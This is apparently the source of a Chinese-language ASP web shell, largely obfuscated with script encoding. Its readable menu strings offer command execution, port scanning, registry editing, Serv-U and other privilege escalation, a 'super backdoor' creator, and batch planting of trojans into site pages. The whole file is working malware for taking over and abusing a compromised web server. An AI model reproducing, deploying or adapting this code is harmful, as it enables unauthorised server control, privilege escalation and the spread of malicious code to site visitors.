/D-nM\lMrl(V+kcEEMVr#@#@&j;(P]IUc?DDb@#@&dIndaWU/ qI(D2v?YM#@#@&2gf~?!4@#@&wEx1OkKxPMnKb:Cv?b@#@&~,I3wmOt{I32dbm3ck~E-rSr-wr#@#@&2gN,oE mOkKx@#@&k4l{.+$E+kO /D7+.\C.bl8Vd`rtOOa{tGdDJb@#@&o!1^DqKxP"I2l:tc?*@#@&~,IIA2l:C'M32VzmA`j~Ew'JSJ'E#@#@&nU9P0iU1KrW @#@&?4b?mx'r╁@*MnY +^z@!@*C&@!回返@*B*c31l4cz.WD/btlY2rMmdl7CLE'WnMtPC@!@*DnY n1@!@*M4@!@*D(@!╁{sI!3/b~╋#╁nhm1s╁vP/jp.x2tbg0╋b╁tOChDnN^Gs╁vYjn!;2]x4Y)wM39S6w╋/Ubw"+k;'hDn\M+j╋s"j[*╁O/Kt{aOOt╁v/V8l(]m\.+j]2URPjEpn]{j.+7.?╋b╁J╁`_Kbawz\R"2#DA?xO}rIq ╋*╁R╁`_PCwhbsR]+-]?xC:)w:WG]╋*╁xWrO1b╁cYU3`pn"'gWq:mz╋b╁IGf){db/6d╁`/AsAzqDz#]+jDA/ Yj3!;nD{2kM+-.?╋#╁J]`╁`d+^8mk]z\M2.M2k YU+;pAIxsMjJ@#@&2X+Z!Pn`Utb?Cxo; `jtbjl #b@#@&Nkh~Utr?mUB?4b?mx1hkODB?4kUlU(@#@&s!UmDkW ~jtb?mxoEUcUtr?mUr(LdOM#@#@&j4kjl 6(LdDD,'P"+asl1+c?4kjC r4NdYM~Pr╁ESPrJrJb@#@&oKD~?4r?mx(~{PF~PKPJ+ cUtrUl r4N/D.#@#@&~q6P\r9`?4r?mxr(%dYM~,?4kjC qSP8bP@!@*~E╋rPK4n @#@&?4rUlUg+S?YMP{~HbNc?4kjC r4NdYM~PU4r?mx&~~Fb~LPjtbjl 1nAUYD@#@&,2s/@#@&?4b?mx1hUOD,'~\(Z.J6P[,jtb?l HnhUYM@#@&P3U9P(0@#@&16O@#@&?trjmxoE ~{Pj4kUlxg+SjYM@#@&E!'.n$E+kORk+D7n.\mDbl8VndvJ4YD2{4WdOr#[;.^@#@&2 [,s; mDkW @#@&dtb/Cx{J╋ddmwDdE{ww╋^.;[*╁YkW4{2ODt╁c/s4mk.C7D+-./ Ykn!;nM'!EJ@#@&Aa+;EP+v?4rUlxw;xv?tbjCx*#@#@&.IdE@!tO:^@*@!s+OC,tYO2 +5Eb-{JE;W Y+ Y PXa+EJ,mGUD+xDxJrY+XO&tD:^i~m4CM/nY{L4y&q+rJ@*E@#@&I]?r@!DkO^+@*J[UtsVglh+LJ~R,J[UnD7+D&K'J,@!JYrYsn@*J@#@&"]/r@!dOHV+~OHwn'rED+aDz1//rJ@*E@#@&I./r4G[H~Y9`0KxY WC:bVH)~ZGhbm~?mU/,HdI6WxORkk"+=~8 2Xi(lm0oMGE NRmKVG.=a!lT*Z*i1GsWM)60WiNE@#@&.DUEk w;OB/+sn1YSYaDl.lP0W Y dk.+lP8 2ap4l1VoMWE [RmKVKDla33~c+ p8WMNn.=Fwa~kWsk9l[!XZ*Z*8r@#@&.DkJ ZP4C^0oDK;x9OmKsGD=aZ*T*TXp4GD9nD=!2a)J@#@&]M/ER1h9 8mm0oDKE [O1WsWM):Tl!*ZXi1WVK.laA2~c+ NE@#@&]IUEA}fe~Pi?/]}SJAz] C(VCdqM_K /rdr]),aoowsswI?;IrdJ$b"OUC)f6 Z6S}]),aoowssoIUZ]rdJ~b] b"IrqO;6S}IlP[soowsspjZ"rSd$)I K"b/|R/}S6I=~aZ!TTZ!ij/"rJS~)"O9zIn?Czf} O;rJr")~:wsswoiUZI}JJAzI A)?3R;rJr"lP[!TTZ!!NE@#@&]DUEm ^KVKD)[2A$cy IY6OR9+mK.lDkW l~xKxiNll4K\nDP^W^W.l[22$*y I4m^0o.KE N)[!lT*Z*NJ@#@&.]kJRmh 1WVK.laA2~c+ IWKxOOkry)qqa6iNE@#@&]DUE@!zdDX^+@*r@#@&jtb?Cx{J╋╋╁@*OakD1dz@!╁/I"╋╁NI+!DDPUD;ODI#vOks4;dc:DGo(fI╁╁╁╁'d\:C.x kR14mIoaPxPEsC7R+TCnc:DKo8fpDD/~'~n!VC\c.YUV5jc:DGo(fNid^lW,xMEYDpb╁╁"确正否是句语dpj查检请╁╁`DDnsm #Zq@!4Yo nsRMYk`WkNI/sl6~xMEOnMi#╁╁Z确正否是串接连库据数查检请╁╁cDDnVm`**@!4YTx+^R;Vm\ DD?89c:DKo4G`0b`boa~MYd`.OUV5?^sEwPUGbYmU;6╁?]I╋╁)IE.DP DED+MNiYk,DD?~x,+E^C\cDYUs5?c:MWo49`/s+)I#Yk,.D?`O.VC *+8'xb`6kP/^n8p╁╁@*.+Dxn^J@!。句语令命作操S5j入输再库据数接连己认确请@*M+Y n^@!╁╁{StKuDnU k m(Ci╁╁╁╁,'~n!Vl- MYjV$jc:.Ks(fiYk].YUPxPEsC7RDDj4GR:MGo4G *&x@!rc6kI╁╁。节字个十五前的段字示显只据数条一过超x' 现实询查制控件条用可,节字部全的段字示显可即时据数条一示显只当╁╁P{T+q]DYjI╁╁U?)n,HtjJ}Z,nr"f,D+slH+^4CP]P2d$b:PIAPJb╁╁,'YFq$.OUi╁╁b 2cIzC/]z.Pjjzn~1tidr/,fGbPY+sC1V8l:$~3dAb:~IAKSz╁╁~xTZF]DO?I╁╁D:C1s4mK,~ASA)P,n6IG╁╁~{PDO$MY?p╁╁#*T*vI)C;I)#,I2Ui~dSjg~PrgP*FSFc~IK(Kg3f&PPH&Pf(cY+hlgn^4C:$,2S~b:~2:b3I;╁╁Px~Y%$MO?p╁╁!!8x9q,2"2u~v'+hl .+kEvw{I2ji,K3?,D:Cg+^4l:$,3KzfKj╁╁,'~DF$DDji╁╁Z!F{9(PAIAC PDnslH+^8l:$~\}Is~3:2J2G╁╁~{PD+$MY?p╁╁#EwNMWA/kl2v'~B'n:mxDd;B'`U2iS)#,#j?zK~"2jivT+hCg+s4mP]P6:1&PK"2UHq╁╁,'~Tl$.OUi╁╁!Zq@!GqPA]3CqPY+hlHn^4CK]~H}Io~CPK/3d2j╁╁P{~Yc,MYUi╁╁+slgU/G'U/G╁╁Px~Y&$MO?p╁╁eeCMxNSnpYGW.x9kiihlg49x/l8CDl9i+T2&xDDKni╁Ln&.+7Dn?L╁'.n7D+UI8^;?H\`'M+7k.f╁╁~x,T+$MO?p╁╁eMMC'NAKpld'9r`inslg4f{+kC4mYCfp&f*8~╁[h(D\Dj'╁'M+7Dn?INM+-DjP^;j`{D+-rMf╁╁~',D8$.D?p╁╁eeC'9.WS/dlhPndm4lDCf=AfAJ6PD+xi8Nh (Nw-╁Lb#╁4YCKM+NsGw╁`UWbdk+jvtDlnIL╁x+1D;WUPCOmfiZ ccAfAJ6RD+xRO0GdKD^ktxDNr-KDn╁╁~x,TT$MOUibyFvXlMDz~hx~',DOj)i+ksl6PxM;O+M *!@!kcWb bkv.YU49s^Es~UKkOm ;6╁?]"╋╁8p+EMY,UD!YnD)ind^l0,UD!Y+MIb!vDD?8fss!sI#╁╁库据数接连先请╁╁vODVC`*╁╁╁╁P'x~Esl7 MYj(fc:DKs(9`6k`#v3^n4Z4G~xKkY1U;0╁UI"╋╁8Ni╁╁╁╁~x,+;Vm-R:CHwR:.G6+[k4 aWOP+kV+)i*cYb:8EkRh.K0+9rtcwWDIUWbY1boPx~Esl7 xKkO^zR:.G6+[k4 aWOP#^VE 'en:m19`6kNI╁╁M+tD6╁╁P{P+sCHfP+kVn8InslHf,xPEsC7R+hCgs :MG6+[btcwWDi*n:m1o~╁╁!在存否是件文意注B称名全件文4[\的缩压要入输请╁╁vYwsGDaP',nhlgfP#╁╁8N\O1l2:K/╁╁'{xGrDmboc6k~+ks8I:m1f,',nE^l-R:CHwR:MG0Nk4 2WDi*+hlHoB╁╁!名同能不意注~称名全件文8Nt的建新要入输请╁╁cYa:G.aP'~nslHfPb╁╁(N\Ym+D;╁╁'{UWbY^bw`Wr,+/^n8p+:mH9P{PEsl- :C1w :MWWn9kt 2KYI#hm1oB╁╁称名全夹件文的建新要入输请╁╁`Dw:KDa~',+hlgf`b╁╁M+N^GsS+1╁╁{xUWbY1bo`Wr,+dVNi:CHG_╁╁ukk-╁╁Px_,n!VC7R:lgschDK0nNbt 2KYi*n:m1sB╁╁称名全夹件文标目到动移入输请╁╁cOwsWMw~'~nslHfPb╁╁DNsGw+\G\╁╁{'UWbO1bov0bP+kVNi:C1G_╁╁kk-u╁╁P{QPEVm- +slgs :.G6+[k4 wKYIb:lHoB╁╁称名全夹件文标目到动移入输请╁╁`OwsGMw~{P:lgfPb╁╁DNsWwX2G;╁╁'' GkDmbwcWk,+kVn8InslHf3╁╁ku-u╁╁~x3P+;sm\ +sCgs sDK0+9k4 wKYI#:CHw~╁╁称名全件文标目到动移入输请╁╁`D2:KDw,x~+slgf`#╁╁nsbsn\K\╁╁'{xGrDmboc6k~+ks8I:m1f3╁╁u-ku╁╁,'QPEsC7R+sC1wR:MGW+9k4R2WOI*+hlgo~╁╁称名全件文标目到制复入输请╁╁vY2hKDw~x,+hlg9P#╁╁n^kwXwKZ╁╁{xxKkOmzscWbi+sC1wP',n;Vm\c+hlHoc:.W6nNbt 2KY bUKkOmzoB+hm1w`:MWwsV!s~xKkO^ E0╁U]I╋╁)i#vOr:(EkRhDGWMN[lc2WDi.n9VWo~{PnE^C7R4DlhD+9VKoRsDG0MN[CcwWD`#M+N^Go`M+9VGsAG4?~xKrY1x;W╁UII╋╁Ibv3^W^/ E.)iHlVa/b[_╁╁ O~P╁Lf)'╁→!╁╁{/EDCYkRhK[UkSi*`Lxr.D?nVm^WdWO HlNGO,'zl^2kk[,Dm\i*`OlGPA+ Px~HlNKOPMl\pbT!8PB╁╁#c3^G^ZUEM╁╁cY!WnhbKYndchGN rSPx,+skKtD`#v3^W^ZU;MPxKrY1xE6╁j]I╋╁)i/slW~ D;Y.P/snp+E.O,x.EDnM#b╁╁?吗作操此行执要认确╁╁v:Mk0 W1cP6k`#v3GdXP GkDmx!W╁jI"╋╁ikDGD.3^Vr3{.WMDnUKRhG[ kA8pn!DO,xMEYDPb`kDGDM2ssb3P GkDmx!W@*YakMmdl-CN'nom;o ls~Dwk.^k@!╁jI"E@#@&3X+;EK`U4kUlUs!xcj4k?mU#*@#@&@#@&]DkPr@!8W[zrP@#@&&oPmmOr}1'EE,Y4+g~MIj,J,/mMW^s' WE@#@&D]d,J@*r@#@&Gq:,G$YvF2~+#@#@&KAO`ZS!*Px~r?m.raYrxT wks?H/Y:}8LmOJ@#@&~~KAYvT~y#P{~E文件操作组件J@#@&}4O`qSZ#~',Ehkm.raYRd4VsJ@#@&,PG(YvF~y#,xPr命令行执行组件J@#@&K4Pcy~!*~',JbG6pR;lDlsWLE@#@&~P}8Kv S+*P'~EzZ/2Uj建库组件r@#@&KAD`&B!*~',JBI}RBnD2xTrxJ@#@&~~W(Yv&S b~{PEb;/2U?压缩组件E@#@&rAOcW~T#,x,Jj1DbwYbxT fbmOkKxC.HJP@#@&P,r4:c*~y#,'~J数据流上传辅助组件E@#@&r$KvX~Z#~x,Jb[G94 mKU +^DkKxJ@#@&,~W~Kc*B b~{PJ数据库连接组件r@#@&KAKvS!*P{PEb[G94 ?D.+m:E@#@&PPG$:`~yb,'~r数据流上传组件J@#@&r~Kv{~Z#~',JjG6YbMOkklxk ok^+`wE@#@&~,r$Kv{~y#~x,J?)Rwks+`2,文件上传组件J@#@&W(K`R~ZbP{PESH0i2^Wl9 jaVWm[ok^+r@#@&P~6~Kc%B+#,'~E刘云峰文件上传组件r@#@&G$:`1~Zb,'~rnD/bYk jaVGl9RqE@#@&P,GAD`,B+bP{Prbjni2^WCN,文件上传组件E@#@&W8PvF!ST*PxPrBtlr^RU:YaHmrVr@#@&P,r8OvF!B+#,'PrB\lbV,邮件收发组件J@#@&G8D`qFBT#,'~E;frHPURH+S\mksr@#@&PP}4:cF8~+#,'~E虚拟UHKh发信组件E@#@&r4:cq B!*PxPEjsY2HmrVc?hOaHlrscFE@#@&~,W$:`8 ~y#,xPr?hYaHCr^发信组件J@#@&6A:`F2ST#,',J\k^.K/G0D (tSuP:nJ@#@&,P6ADc8&Sy#,'Pr数据传输组件J@#@&0}D~q{!~O}PF2@#@&i?+D~P'k+M.3I /"+)KAGAx2^PvW4Pc&~T#*@#@&d(6P FWGy+FZ!XP@!@*~nMDP:4+ @#@&i~~qUW~9xJ~√E@#@&72dj2@#@&7~,q?G8N'EP×r@#@&d~,+"DR1SACD@#@&7+gN~rw@#@&ij+DPK{U6Y4q M@#@&7G~YckBq#{qdG~L@#@&U(O@#@&(wPWKS9+Dhl:u@!@*JEP:tnU@#@&P,d2k/kKHcJwW^NnDKCDtE#{.IwCO_`06sG+]wzP_#@#@&2 fP&0@#@&q6Pj+U?(Gg`JwGV9+DhCOtr#{JEPPuA1@#@&,~0}S93"wbO4{IGr:2mKu@#@&,P?A?U(r `EsKV[nMnlD4J*'0}J9+"nmYu@#@&n N~qw@#@&6jH^:krU~tb(1w6":c*@#@&?tb?mU'r╋╋╁@*nV(lO&@!@*DD&@!@*NYJ@!╁jI"╋╁@*:CDWrJ@!@*B8v'M+[.K4+hCM0~BuTZFv{Y4okt,v]Z!qB{tO[bhPEnVbsFSG4?{xKkOm)_E'^Dk~B:C.w+VroE'n:mU,+hmD6k@!╁kIM╋╁@*ND@!╁dD"╋╁@*[OJ@!@*hlM0kJ@!@*BZB{DnN.G(+hlMWPE]TT8B'O4Tknt,vu!T8B{tY9kS~B!xnH kC\{xWbOmzgB{^./,BD0nSvx:Cx,n:mDWr@!╁?I]╋╁@*E!{FEx4Y[bh,NY@!@*MO@!@*DOz@!@*[OJ@!@*s4mYz@!@*hDK0J@!@*DO&@!@*[YJ@!╁?"I╋╁@*[D@!@*[OJ@!』@*lJ@!kYU:!mWG@*Eb╁╁-'/Ox:;^Kf-'dD/j,ssb'-koUkOO?~N CPkYUnsEmG9'-lZ╁╁v.NsKsSWtU)D2kMmdl7l%v{0+M4Pm@!『』@*m&@!ws+:@*v#╁╁wwa:nK'w/SW[Ubh-wl1╁╁`.+9sKsAKtU)YakM^/m\CLE'WnMtPm@!『』@*mz@!mOCN@*B*╁╁-wlOC9-w\MdYxrw' &hnD/z/'wU6G1&-')1╁╁cDNsWwhG4U)YarD1/l7C%B{0D4PC@!『』@*l&@!Tr0 W^@*E#╁╁-wLb0UW1w' fs+D/Xk-'j}fHqq-wl;╁╁`D[VKshK4j)DwbD^/C-mLv'6nD4PC@!『』@*lz@!J5?@*B*╁╁w'Dn7D?PdpU~Y6WdWMmr\'-/skwP:m.LWMn'-lZ╁╁c.NsWwAW4?lOakD^dm\CLEx6+.4Pm@!『』@*mz@!.+7Dn?^ln]@*B#╁╁^C+"--knskwPsl.oG.h-w);╁╁cDNsGwhW4j=Y2kM^kl-mLE'0D4~l@!『』@*Cz@!ER-M+/@*v#╁╁'-E -.+k-'/nVro,:CDTGDh-wl1╁╁`Dn[^WohK4U)OakMm/m\m%B{0nD4PC@!『』@*lz@!nDthHU)ma@*E#╁╁w-n.tAX )ma-w^YxChH?w-mOmf~ WbYl1k^2wz-w/M+di,VVzw-koxbOO+UP9xCPdO +hE1Gf'-l/╁╁vD+[sKsAW4j=Y2bD1/l7lNv'6+.t,l@!『』@*mz@!G3S;5ZA]@*B*╁╁-'f3S/e;2]-'lZ╁╁vDn[^WsAG4?lYarMmdm\mLB{0.t,l@!『』@*mz@!序程~@*4z@!→@*4@!P始开@*Eb╁╁w-序程'-单菜」始开「'-dDnd`PsVzw-koUrDY+j~9xCPkO +h!mKf-');╁╁cDNsWwhG4U)YarD1/l7C%B{0D4PC@!『』@*l&@!k.+kjssz@*Bb╁╁w'/.+ki,Vsz-'/o kDO+UP[xmPdO +:!^WG--=/╁╁cDN^WohG4U)Owb.mkl-CNB'WnMt~l@!『』@*mz@!slMoWMn@*v#╁╁k+skwPhCMoWMK-')Z╁╁v.nN^WwhGtjlDwrD1dl7l%v{0+.4,l@!『:表列录目权提@*MO@!╁?]"╋╁@*E+V9NbhB{xLk^l-~ED+DU+1B' LrVmPMY@!P~╁j"I╋~╁@*Eb`9lGsDRUGbYCmKsc+hmDw+VbsEx31ksm W~v口窗主新刷E'+!sl7PBDrh4!/E'nwzO,Y;w r@!,@*v到转v{+EsC7PvYbh(EdE'wXDPEOks4;?E'nhmxPD;w k@!@*v.+Dxmv'ULbVCPETc8Bx4DNkA~9Y@!@*9OJ@!╁j"I╋╁@*B╁[*╁tDCnM+[VKs╁cUKq?kn?L╁B';sl7PE]T!ql4Y[kSv'VzOkPB4Omn.+9sKsv{+slx,Y!2xb@!╁jI"╋╁@*[O@!@*ND&@!:栏址地@*BDOU+1B{xLksC,BTvExtDNrA,NY@!@*MY@!╁/".╋╁@*BO +Mlw|B{O+TDCY,B╁'sMj[╁ExxKkY1C~BD/Kwv'[G4Yn:,v:MWW.9Nlvx:Cx,hMWW@!╁/MD╋╁@*E]ZTFE'4Y9kA~V4mO@!╁kID╋╁@*v+B{xmwdVG^,BT&ExY4orn4PNO@!@*DO@!╁k.M╋╁@*vZB{oxbmm2/^Vnm,BTv{oxb[NmwV^n^PZ'M+[DG8,Pv]ZTFE'O4Tk+4~E]T!8v{tO9kSP+^4mO@!╁UD]╋╁@*sDGWJ@!╁/"]╋╁@*╁╁:lgo╁╁x+sl P╁╁U+[[bt╁╁x+azY,Y;2 k@!╁j."╋╁@*╁╁UWbO1b╁╁x:mxP╁╁ +9[k4╁╁'nwHY~O!wxb@!╁?MI╋╁@*╁╁hCDw+^ko╁╁'OnTDCY,╁╁╁'SME'╁╁╁x WkO^mP╁╁O/K2╁╁{NG4Y:P╁╁sDKW+9k4╁╁':CU,:DKW@!╁kDIr@#@&2X+;EP+cj4kjl oE `j4b?lUb*@#@&2 [,s;gZDkrg@#@&WE mPk}x~hmq1snx``#@#@&]IkJ@!YC4sn,hrND4'EFTTuBP^n^Vdwm^bxL{BZBP1+^swmN[k oxvZB@*r@#@&"D?r@!OD@*@!DN~tnrTtO'EXB@*@!&O9@*@!&OM@*E@#@&]"?E@!zDN@*@!zD.@*r@#@&kwP6$:`!Bq#{JP×r~Ptx@#@&]IjE@!Y.@*@!ON,tnrTtYxvycv@*无wj}z无权限@!JY9@*@!JYM@*J@#@&3Vk+@#@&"I?r@!YM@*@!D[~tkTtO'+*,WU:K;/W-nM'JEhx;FcdDXsR9k/aVmz'EBEJ@*@!8@*3@*查看硬盘@!J8@*@!Nk7~rN{:x;F~dDXs+{EJSk[O4)FTTui[kk2^lz{B WxBrEPKxhW!/nG!Y'rE:xE8 dYHVR[kd2^lz'EUW +vEr@*J@#@&U2PPz$;'HA,SA6)"]?,l8Zc?u6SfIb#+"`#=j3K,b~mxxGP_kUo@#@&I"?E@!JNk-@*@!zON@*@!JY.@*@!DD@*@!Y9~tkLtD'v+ZB@*@!CP4D+6xvLm\m/^Dr2D)jtKAsKV[nM`JEELInnzO_` q"rWD#LEJr#v@*●站点根目录@!zC@*@!zY9@*@!JYD@*E@#@&"IUJ@!Y.@*@!Y[P4nkTtOxE !v@*@!l~tMn6'vNl7l/1Db2Y=?4WSsGs9+DvEJr[DAKCK4`"WGYK)Dtb[rEJ*B@*●本程序目录@!Jl@*@!&DN@*@!JOM@*E@#@&"I?r@!D.@*@!Y[P4+rL4Y'E+!E@*@!m~4D0{B%l-Ckm.kaO)wEsswWDhcrJE[M3hbO4`k+/kk}U`rsGV9+.KmYtrb[r-1AoW^NDE#'ErJSJrH+SsGs9+DEE*B@*●新建目录@!JC@*@!&DN@*@!zDD@*E@#@&I]?r@!O.@*@!Y9~tko4OxBy!E@*@!l~4M+W'E_b1YrG '2[rDsrVv,YCMoY'Esbs+wDC:B@*●新建文本@!Jl@*@!&Y9@*@!JO.@*r@#@&I]?E@!DD@*@!D[P4+rL4Y'v+ZB@*@!m~4Dn6'Egb1YbGx{j2sbVnv,YlML+D'Bwrs+wDm:nB@*●上传文件@!Jl@*@!JON@*@!&OM@*J@#@&"IjJ@!OM@*@!DN,t+bo4O'E TB@*@!C~4D+6xBQbmDrGx{nmonb[[:W\N(vPDl.LY'vobVnsMCs+v@*●文件夹打包O解包@!zl@*@!JON@*@!&YM@*E@#@&21G~k6@#@&"]jJ@!YM@*@!Y[~4+ro4O'yc~G :W;dW-+MxrJhx!R/DX^nR9kdw^lzxEBJr@*@!(@*P↓ 服务器信息@!&4@*@!9k-Pr[{:nx!*PkYzs'JEAbNOt=qZ!YpNb/w^lHxB WU+EJE~Kx:K;/WEDxEJs+ E*RdOHVnR9r/aVCz{BxGUBEJ@*E,P~,P,PP@#@&"]?r@!OD@*@!O[,t+bLtD'ByTv@*@!l,t.+WxEg)mDrW 'j^mxf.r7+oWMhEPOmDT+Y{BwrVs.ls+v@*●查看可写目录@!zl@*EP,PP,~~P@#@&"IjJ@!OM@*@!Y9~tkL4D'B+TE@*@!l,4M+W{BQbmDkKU';W;Dk+v~DlDTnY{BsbsnsMls+v@*●系统服务R用户账号@!Jl@*@!JON@*@!&OM@*J~~,P~P,~@#@&]"?r@!YM@*@!ON,tnkTtOxE !E@*@!mPtMnW'EgzmOkGU{?nD7nD&xWGEPYC.T+O'EobVnwDm:+E@*●主机信息 组件支持@!zm@*@!zDN@*@!JYD@*EP,PP,~~P@#@&"IjJ@!OM@*@!Y9~tkL4D'B+TE@*@!l,4M+W{BQbmDkKU'zNhk jdnMBPDCDT+Y{vok^+wDC:nv@*●管理组帐号@!&l@*EP,P~~,PP@#@&"IjJ@!OM@*@!DN,t+bo4O'E TB@*@!C~4D+6xBQbmDrGx{MYP+.hbxCV&U0KB~OmDonO{Bok^nwDCs+E@*●服务器探测@!Jl@*@!zDN@*@!JY.@*r@#@&"]?r@!YM@*@!Y9P4+ro4O{B+!E@*@!mP4.0'v_zmOkKU{?nDsbV+:+XOB,YCDT+OxEsk^nsMl:v@*●修改文件权限@!Jl@*@!&Y[@*@!zOD@*EP,P~~,PP~@#@&I]?r@!DD@*@!Y9PtkT4Y{B+!E@*@!C,tDW'EtYD2lzJJL/8l'EJkhlTn/JV2O8Rld2EPOlMLYxrJ|4Vmx0EJ@*●创建超级后门@!&l@*@!&O9@*@!JOD@*JP,~~P,P,P@#@&]]UJ@!YM@*@!DN~4ko4O{B+cE~KxhKEk+W7+MxJr:nx!RdOHV+c[kkwVmzxBEJr@*@!4@*~↓ 挂马相关@!&4@*@!Nb\~r9':nU! ~/Dz^+xrJ^kxO4nkTtO)8%2aphk9Ot=F!ZYINb/aVCXxv WU+EEJ,WUhKE/nG!YxJrhx;yRkYX^+c[kkwslH'vUKx+EEJ@*JP,~~P,P,@#@&I]jr@!OD@*@!Y9P4nbotOxE TB@*@!mP4M+6'BQb1OkKxxZaVLhLH'8vPDlDTnO'EsbVns.Cs+v@*●批量@!8@*挂马@!z8@*@!zl@*E,P~P,~,P@#@&I"?J@!YM@*@!DN~tkL4D'ByTB@*@!l,4.+6'Eg)mOrKxxZasos[\xyBPOCMonY{vwkssMl:B@*●批量@!4@*清马@!&4@*@!&C@*JP,~P,PP,@#@&I"?r@!OD@*@!DN~tro4Yxvy!B@*@!mP4DW{B_zmDkW ';2VT:'H{&v~DlDTnY{BsbsnsMls+v@*●批量@!8@*替换@!&4@*@!zm@*E~,PP~~,P@#@&"]UJ@!DD@*@!Y9P4nkTtO'E Tv@*@!l,4D0'E_)mDkKxxwsLsB~Ym.oYxvwkVnoMlh+E@*●部分挂马@!zC@*J,PP,P,~P@#@&]IUJ@!OM@*@!D[P4+kT4O'E ZB@*@!C~4Dn0{vgzmOrKx'/4mVbUKEPOmDT+Y{BwrVs.ls+v@*●查找木马@!zl@*@!zDN@*@!&OD@*J,P~P~~,P~P,~P,P~@#@&IIjE@!Y.@*@!O9P4kTtY{ W~W :GEk+G-D'rE:xEcdOX^+cNr/2smXxBEEJ@*@!8@*,↓O提权相关@!&8@*@![k7~bNxs+ E&,/DzV'EJSk[O4)FZT]pNkk2slH'ExGxnvrJ~W hW!/nG!Y'EEs+UE2 kYz^+cNkkw^CX{BUW +vEr@*J,~P,PP,~@#@&"IkJ@!Y.@*@!Y[P4nkTtOxE !v@*@!l~tMn6'vQb1YkKx{/:9FjtVsv,YlML+D'Bwrs+wDm:nB@*●执行/sN命令@!zm@*@!JY[@*@!zY.@*rP~P,~,P~@#@&"D/r@!D.@*@!Y[P4+rL4Y'E+!E@*@!m~4D0{B_b^ObWU'U^l nG.DBPOCMonY{vwkssMl:B@*●端口扫描器@!zm@*@!zDN@*@!JYD@*EP,PP,~~P@#@&"IjJ@!OM@*@!Y9~tkL4D'B+TE@*@!l,4M+W{BQbmDkKU'"+CN"2!v,YlML+D'Bwrs+wDm:nB@*●注册表操作@!Jl@*@!JON@*@!&OM@*J~~,P~P,~@#@&]"?r@!YM@*@!ON,tnkTtOxE !E@*@!mPtMnW'EgzmOkGU{j2VKCNEPOCMo+OxEsrVoMlhB@*●直接下载@!zm@*r~P,P~P,P@#@&"D/r@!YM@*@!D[~tkTtO'v+ZB@*@!m~tM+WxEgb^ObWU'UnM\;EPDlDT+DxBwks+wDChB@*●UnD7Oj提权@!&C@*rP,P~P~~,@#@&I"jJ@!Y.@*@!YN~4kLtDxE TE@*@!lP4DW'Eg)mDkGU{?;^.WKY3bOvPDlMonYxvwks+w.ls+v@*●UpS提权@!&m@*EP,~,P~,P@#@&I"?r@!YM@*@!Y9P4nbotDxBy!B@*@!CP4D0xB_)1YrW xtqv~DlDLnD'vsbss.m:B@*●qH&远程执行命令@!zm@*@!zDN@*@!JYD@*EP,PP,~~P,P,P~P~~@#@&]IUE@!DD@*@!DNP4nbo4Y{vycv,W :W!/G\DxJr:nU! RkOX^+R9rdw^lH'vBEE@*@!8@*↓ 数据库操作@!z(@*@![b\Pr[{:nx!+,/OHV'JrVbU+ tnkTtOl8%wXIhbNY4lq!Z]pNr/2smXxB GxBEE,WxhG!/nW!O{JEs+ E c/DzVR[kkwsCH'B GxBJr@*EP,P,P~P~@#@&I]?r@!YM@*@!O9PtnrTtO'E+ZB@*@!l,tD0{vgzmOkKxx9(Hl CoDB,OCDT+D'vsrss.lsnB@*●连接数据库@!&C@*@!zO[@*@!&YM@*rP~,@#@&IIUJ@!OD@*@!ON,tnrTtY{v ZB@*@!C~tM+6'vg)^DkGx{JWTW;OEPYC.T+O'EmDW2E@*●退出登录@!zl@*@!JON@*@!&YM@*E~,PP,~P,@#@&"]dJ@!YM@*@!Y[@*@!mnxDnD@*@!4.,tkL4D'qPSr9Y4{B8!!uB@*EP,P~P,P~@#@&IIUE@!DD@*@!O[PmVboU'^n YnD,dYHVnxEmWsGM).+9v@*J'sX(VWT[r@!za@*E[UkOn`ISLE@!JYN@*@!&YM@*@!zOl8s@*EP,~P,P~~@#@&I]dr@!&Ym8^+@*rP,PP,P,~P,P~P,P~@#@&@#@&;CV^P/4nsV1WM+@#@&3U9PoE /YbWU@#@&?E8~hlL+z[9KGtN(`#@#@&9r:,Ku2zZPS,YC2lDt@#@&O4+zZ:PxP.35En/:cJDtn)1YJb@#@&Yu+aC:C~{P"+;!2UO`rY4+hlO4r#@#@&j+"\2M dm"qaKOq\3}EOP{~*Z!T@#@&ks~P42)Z:~{PEmN9KWtN(EP:tn1@#@&)[9YWt9AvKtKCY4#@#@&]Ij~r操作完成"E@#@&]+UnGHk+R3U9@#@&2 [,qo@#@&&sPDCCmDPxPrDnsl/oDK:H98EP:t1@#@&iUhl^3vPtnCO4#@#@&]"?E操作完成"r@#@&InknKx?RHf@#@&3x9P(W@#@&I"jPr文件夹打包)@!(.&@*r@#@&I]?~E@!0GDs~:Y4G9'wGdDPOlMLYxslbx@*r@#@&]IUPE@!bx2;DPxmh+{YtKCY4P7lsEnxrJEPL~tDHJ3 mW93v?nDj3"R\zwabK_`r J*#~[,JEE,/k.n'R!@*r@#@&I"?,J@!kU2!Y~YH2+{tr[9+x~-mV;+{C9NPKH94P lsn'Dtnb1Y@*E@#@&I"jPr@!/snmDP lh+xO4+\+D4W9@*@!GaYkGU,\CV!n{0dK@*w?r@!zK2YbWU@*@!W2ObWx,-l^E+{C2w@*无sUr@!zG2DkGx@*E@#@&I]j,J@!&dVnmD@*r@#@&"IUPJ@!4M@*@!bx2EDPOza+'k;4skY,-CV!+{B开始打包v@*E@#@&I]?,E@!4D&@*注=P打包生成CePKw :98文件B位于木马H\同级目录下r@#@&IIUPr@!z6W.:@*J@#@&"I?,E@!4Dz@*文件包解开c需o?}支持#=@!8D&@*r@#@&I"jPr@!WGM:PhnDtGN{2K/O,YmDoY{hlbx@*J@#@&]]UPJ@!rxaEY,UC:'DtnnCO4P-l^;+{JEE,[P4OtS3x1G9+cU2M\2MRsCnabPtvJ E*#PL~J'C5:G2RsN(JEPdr.+x%Z@*J@#@&]]UPJ@!r w;Y,OHwn{tbNNx,-l^En'M+snm/+w.WsHN(~Uls+{Y4+)^D@*@!k 2EDPOza+'d;(:rY,-mV;'E帮我解开B@*r@#@&]IUPE@!4D&@*注=P解开来的所有文件都位于木马Ht同级目录下E@#@&IIU~E@!J0KDh@*E@#@&I]?,E@!4D&@*r@#@&3U9PjE(@#@&@#@&UE(Pb9fD6:9AcY4+KCDt#@#@&diW1,n]IKI,In/i\PU2oO@#@&d79bHP.dBP/rgHBPd:DAl:BP1Gxg?ODBP)9KmlD)SKo@#@&77?AY,DjPx~U2].A]R1D3)D2r$BZP`r)Gr9~R"+mKD9j+DJb@#@&d7dKPkPDAbH,x~?Dj+.R/.bO2K$LAZPcrbf69~RjYMnm:E*@#@&ddk+:~Z}xHP{Pdn".2M 